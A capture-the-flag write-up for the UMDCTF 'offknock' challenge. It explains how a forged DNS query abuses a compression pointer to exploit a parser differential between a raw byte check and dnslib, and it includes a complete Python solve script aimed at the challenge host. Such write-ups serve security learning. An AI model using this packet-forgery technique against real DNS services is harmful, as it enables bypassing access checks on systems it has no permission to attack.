networkfreemedium

offknock

umdctf

Task: a Python service forwards a raw DNS packet over TCP to a local dnslib resolver and only returns the TXT answer when specific raw qname bytes appear in the request. Solution: forge a DNS query where the UTF-8 bytes of `ȳ` become a compression pointer, then place a zero byte at offset `0x08b3` so the parser accepts the name and reveals the flag.

$ ls tags/ techniques/
dns_name_compression_abuseraw_packet_forgeryparser_differential

offknock — UMDCTF

Description

No organizer description was preserved in the local task files.

We are given a Python service that accepts a length-prefixed DNS packet over TCP, forwards the raw packet to a local UDP dnslib resolver, and returns the DNS response. The goal is to make the resolver return the TXT record containing the flag.

Analysis

The important behavior is in dns_server.py:

if '\x04flag\x06market\x03polȳ'.encode('utf8') in handler.request[0][12:30]: reply.add_answer(RR("flag.market.polȳ", QTYPE.TXT, rdata=TXT(flag)))

There are two different interpretations of the same bytes:

  1. The service performs a raw byte check on handler.request[0][12:30].
  2. dnslib parses the same bytes as a DNS name.

That mismatch is exploitable because the final character in polȳ is not ASCII. UTF-8 encodes ȳ as c8 b3, and in DNS name parsing any byte with the top two bits set (11xxxxxx) starts a compression pointer. So c8 b3 is interpreted as a pointer to absolute offset 0x08b3.

This means the qname bytes can satisfy the raw substring check:

04 66 6c 61 67 06 6d 61 72 6b 65 74 03 70 6f 6c c8 b3

while the DNS parser reads them as:

  • label flag
  • label market
  • label pol
  • compression pointer to offset 0x08b3

To keep the query valid, the pointer target must contain a valid DNS label sequence. The simplest choice is a zero byte, which represents the root label. So we pad the packet until absolute offset 0x08b3 and place 00 there. Then the compressed qname parses successfully, the raw byte check passes, and the resolver returns the TXT answer.

The remaining fields are normal DNS question fields:

  • QTYPE = TXT (16), because the server rejects any other query type.
  • QCLASS = IN (1).

Solution

  1. Build a standard DNS header with QDCOUNT = 1.
  2. Set the qname bytes to 04 flag 06 market 03 pol c8 b3.
  3. Append QTYPE=TXT and QCLASS=IN.
  4. Pad the packet so that absolute offset 0x08b3 exists.
  5. Write a zero byte at offset 0x08b3, making the compression pointer resolve to the root label.
  6. Send the packet as a 2-byte length-prefixed TCP message to the remote service.
  7. Read the DNS response and extract the TXT record.

Full Solve Script

#!/usr/bin/env python3 import socket import struct HOST = "challs.umdctf.io" PORT = 32324 def build_query(): header = struct.pack("!HHHHHH", 0x1337, 0x0100, 1, 0, 0, 0) qname = b"\x04flag\x06market\x03pol\xc8\xb3" question = qname + struct.pack("!HH", 16, 1) pad = b"\x00" * (0x08B3 - len(header + question)) return header + question + pad + b"\x00" def main(): query = build_query() with socket.create_connection((HOST, PORT), timeout=10) as sock: sock.sendall(len(query).to_bytes(2, "big") + query) size = int.from_bytes(sock.recv(2), "big") data = b"" while len(data) < size: data += sock.recv(size - len(data)) print(data.decode("latin1")) if __name__ == "__main__": main()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups